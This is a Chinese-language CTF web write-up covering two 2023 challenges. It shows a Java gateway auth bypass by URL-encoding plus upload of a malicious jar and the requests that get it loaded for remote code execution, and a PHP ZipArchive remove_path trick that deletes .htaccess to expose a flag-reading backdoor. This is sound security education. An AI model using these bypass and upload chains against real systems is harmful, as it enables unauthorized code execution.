November 15, 2023

2023 强网拟态 Web 赛后复现 Writeup

参考

https://mp.weixin.qq.com/s/LyxgB7YFM0RcZSN5hmZF9Q

ezjava

经典ezjava。开局三个服务gateway、microservice、eruka
其中eruka没点用处,重点关注microservice微服务,gateway是鉴权用的,考一个trick。

绕过gateway

gateway的逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.demo.gateway;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.Date;
import java.util.LinkedHashMap;
import java.util.Map;
import org.springframework.core.annotation.Order;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

@Component
@Order(1)
public class SecurityFilter implements WebFilter {
public SecurityFilter() {
}

public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
ServerHttpRequest request = exchange.getRequest();
ServerHttpResponse response = exchange.getResponse();
String path = request.getPath().value();
return path.startsWith("/app/") ? writeErrorMessage(request, response, HttpStatus.UNAUTHORIZED, "No Auth!!") : chain.filter(exchange);
}

public static Mono<Void> writeErrorMessage(ServerHttpRequest request, ServerHttpResponse response, HttpStatus status, String message) {
response.getHeaders().setContentType(MediaType.APPLICATION_JSON);
response.setStatusCode(status);
Map<String, Object> errorAttributes = new LinkedHashMap();
errorAttributes.put("timestamp", new Date());
errorAttributes.put("path", request.getPath().value());
errorAttributes.put("status", status.value());
errorAttributes.put("error", status.getReasonPhrase());
errorAttributes.put("message", message);

byte[] bytes;
try {
ObjectMapper objectMapper = new ObjectMapper();
bytes = objectMapper.writeValueAsBytes(errorAttributes);
} catch (JsonProcessingException var7) {
throw new RuntimeException(var7);
}

DataBuffer dataBuffer = response.bufferFactory().wrap(bytes);
return response.writeWith(Mono.just(dataBuffer));
}
}

做了处理,假如以app起手的话就会寄掉,这里有预期和非预期两种bypass方式,首先是guoke爷的非预期
我们只需要url编码一下就可以绕过了
image.png
image.png
还有一种方法就是预期方法了,观察yml文件就可以知道
image.png
所以绕过方法是
使用/app;a=b/login 来进行绕过

RCE

首先确定漏洞点
image.png
image.png
image.png
到最后就会直接newinstance实例化了。所以我们的思路应该是这样,他不是jdbc反序列化,这是他自己的逻辑。要想rce还需要利用一个路由。
image.png
这里可以上传一个文件到目录去,那么我们只需要上传一个恶意的jar包就行了。然后在addDriver的时候把他加载到当前的上下文
image.png
思路就是这样比较简单,那么就来看看还有什么过滤
FILE_NAME_REGEX_PATTERN这个正则
image.png
只允许上传文件名包含js、css的,绕过也简单就只需要1.js.jar、1.css.jar就行了。
然后就是addjar的逻辑
image.png
他会在deDriverid这个文件夹下寻找jar后缀名的文件。那我们还需要创建一个文件夹才行,方法也简单就是把文件名变成1.js/1.css.jar这样就符合正则,又可以创建一个1.js文件夹了。
先准备恶意的jar包,然后准备发包。
[http://localhost:8080/%61%70%70/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js](http://localhost:8080/%61%70%70/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js)
由于会对pathvar进行一次url解码,所以可以这样进行绕过。
image.png
image.png
成功的绕过了限制
image.png
image.png
这里创建了第一层文件夹。然后createFile创建了jar文件。
image.png
最后效果如下。那么接下来就是触发rce的阶段了。然后将jar添加到classloader里。
[http://localhost:8080/%61%70%70/addDriver/m4x1.js](http://localhost:8080/%61%70%70/addDriver/m4x1.js)
image.png
image.png
image.png
获取到唯一的jar文件。然后customJdbcClassLoader.addFile(tmp);放到classloader里。
最后validate触发rce
[http://localhost:8080/%61%70%70/validate/m4x1.js](http://localhost:8080/%61%70%70/validate/m4x1.js)
image.png
image.png
image.png
check里会检测json里的configuration字段
image.png
加载之前的恶意类,最终弹出计算机。
image.png

noumisotuitennnoka

考点:removepath trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");

$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir;
$archiveFile = $jsonDir . '/archive.zip';


if($action == 'create'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', $content);
file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
delete($archiveFile);
// create archive.zip
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('/');
$zip->close();
}
if($action == 'clean'){
if (file_exists($escapeDir))
delete($escapeDir);
else
echo "Failed.(/var/www/html)";
if (file_exists($jsonDir))
delete($jsonDir);
else
echo "Failed.(/tmp)";
}

function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}
1
2
3
4
5
6
7
action=create&subdir=/f
action=zip&dev=/tmp//&subdir=/f
action=unzip&dev=/tmp//&subdir=/f
action=clean&dev=/tmp//&subdir=/.htaccess
var/www/html//tmp/f/.htaccess去掉/tmp+两个字符之后就变成
var/www/html/.htaccess
然后利用clean直接删.htaccess。直接访问backdoor.php

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp